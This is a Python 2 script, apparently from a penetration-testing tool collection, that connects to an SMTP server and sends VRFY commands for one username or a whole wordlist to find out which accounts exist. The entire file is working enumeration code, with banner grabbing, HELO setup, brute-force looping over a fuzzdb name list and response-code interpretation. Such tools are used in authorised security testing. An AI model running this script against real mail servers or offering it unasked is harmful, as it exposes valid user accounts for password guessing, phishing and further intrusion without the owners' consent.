99 lines
3.3 KiB
Python
99 lines
3.3 KiB
Python
#!/usr/bin/python
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#
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# Simple script intended to abuse SMTP server's VRFY command to leak
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# usernames having accounts registered within it.
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#
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# Mariusz Banach, 2016
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#
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import socket
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import sys
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import os
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# Specify below your default, fallback wordlist
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DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
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DEFAULT_TIMEOUT = 20
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def interpret_smtp_status_code(resp):
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code = int(resp.split(' ')[0])
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messages = {
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250:'Requested mail action okay, completed',
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251:'User not local; will forward to <forward-path>',
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252:'Cannot VRFY user, but will accept message and attempt delivery',
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502:'Command not implemented',
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530:'Access denied (???a Sendmailism)',
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550:'Requested action not taken: mailbox unavailable',
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551:'User not local; please try <forward-path>',
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}
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if code in messages.keys():
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return '({} {})'.format(code, messages[code])
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else:
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return '({} code unknown)'.format(code)
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def vrfy(server, username, port, timeout, brute=False):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.settimeout(timeout)
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try:
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conn = s.connect((server, port))
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except socket.error, e:
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print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
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return False
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try:
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print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
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s.send('HELO test@test.com\r\n')
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print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
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except socket.error, e:
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print '[!] Failed at initial session setup: "{}"'.format(str(e))
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return False
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if brute:
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print '[?] Engaging brute-force enumeration...'
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if brute:
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for i in range(len(username)):
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user = username[i]
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s.send('VRFY ' + user + '\r\n')
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res = s.recv(1024).strip()
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print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
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i, len(username), server, port, user, interpret_smtp_status_code(res))
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else:
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s.send('VRFY ' + username + '\r\n')
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res = s.recv(1024).strip()
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print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
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if 'User unknown' in res:
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print '[!] User not found.'
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elif (res.startswith('25') and username in res and '<' in res and '>' in res):
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print '[+] User found: "{}"'.format(res.strip())
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else:
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print '[?] Response: "{}"'.format(res.strip())
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s.close()
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if __name__ == '__main__':
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if len(sys.argv) < 2:
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print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
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print '\t(to specify a port provide it after a colon \':\' in server parameter)'
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sys.exit(0)
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server = sys.argv[1]
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port = 25 if ':' not in server else int(server[server.find(':')+1:])
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username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
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timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
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if os.path.isfile(username):
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names = []
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with open(username, 'r') as f:
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for a in f:
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names.append(a.strip())
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print '[>] Provided wordlist file with {} entries.'.format(len(names))
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vrfy(server, names, port, timeout, brute=True)
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else:
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vrfy(server, username, port, timeout)
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